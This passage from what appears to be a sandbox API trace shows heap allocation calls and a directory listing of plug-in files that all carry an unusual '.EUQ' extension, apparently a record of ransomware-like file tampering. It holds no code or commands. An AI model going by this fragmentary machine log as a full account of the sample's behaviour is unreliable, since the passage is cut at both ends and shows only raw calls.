Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.827] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259de8 [0081.828] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12771c8 [0081.828] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.828] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.EUQ", cAlternateFileName="")) returned 1 [0081.828] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.828] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.828] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.829] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.829] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259e08 [0081.829] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12772d0 [0081.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.829] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.EUQ", cAlternateFileName="")) returned 1 [0081.829] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259e28 [0081.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12773d8 [0081.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.831] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.EUQ", cAlternateFileName="")) returned 1 [0081.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.832] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259e48 [0081.832] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12774e0 [0081.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.832] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.EUQ", cAlternateFileName="")) returned 1 [0081.832] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.832] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259e68 [0081.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12775e8 [0081.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.833] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.EUQ", cAlternateFileName="")) returned 1 [0081.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.834] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.834] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259e88 [0081.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12776f0 [0081.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.835] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.EUQ", cAlternateFileName="")) returned 1 [0081.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259ea8 [0081.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12777f8 [0081.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.836] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.EUQ", cAlternateFileName="")) returned 1 [0081.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.837] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.837] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259ec8 [0081.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1277900 [0081.838] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.838] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.EUQ", cAlternateFileName="")) returned 1 [0081.838] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.838] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.838] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.838] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.838] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.839] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259ee8 [0081.839] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1277a08 [0081.839] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.839] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.EUQ", cAlternateFileName="")) returned 1 [0081.839] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.839] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.839] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.840] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.840] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.840] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259f08 [0081.840] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1277b10 [0081.840] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.840] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x81400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLite.EUQ", cAlternateFileName="")) returned 1 [0081.840] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.841] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.841] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.841] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.841] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.841] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259f28 [0081.841] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1277c18 [0081.842] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.842] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.EUQ", cAlternateFileName="")) returned 1 [0081.842] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.842] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.842] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.843] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.843] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.843] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259f48 [0081.843] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1277d20 [0081.843] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6ac0) returned 0x1293f28 [0081.843] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a1378) returned 1 [0081.844] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.844] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.EUQ", cAlternateFileName="")) returned 1 [0081.844] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.844] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.844] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.844] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.844] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.845] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259f68 [0081.845] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1277e28 [0081.845] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.845] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.EUQ", cAlternateFileName="")) returned 1 [0081.845] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.846] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.846] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.846] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.846] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.846] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259f88 [0081.846] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1277f30 [0081.847] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.847] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.EUQ", cAlternateFileName="")) returned 1 [0081.847] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.847] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.847] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.847] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.847] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.848] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259fa8 [0081.848] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1278038 [0081.848] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.848] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.EUQ", cAlternateFileName="")) returned 1 [0081.848] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.848] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.848] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.849] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.849] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.849] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259fc8 [0081.849] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1278140 [0081.849] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.849] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.EUQ", cAlternateFileName="")) returned 1 [0081.849] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.850] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.850] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.850] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.850] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.850] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259fe8 [0081.850] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1278248 [0081.851] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.851] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0081.851] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.EUQ", cAlternateFileName="")) returned 1 [0081.851] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.851] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.851] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.852] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.852] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.852] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a008 [0081.852] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1278350 [0081.852] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.852] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5309e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.EUQ", cAlternateFileName="")) returned 1 [0081.852] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.853] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.853] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.853] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.853] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.853] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a028 [0081.853] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1278458 [0081.854] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.854] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebLink.EUQ", cAlternateFileName="")) returned 1 [0081.854] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.854] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.854] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.854] RtlFreeHeap (HeapHandle=0x940000, 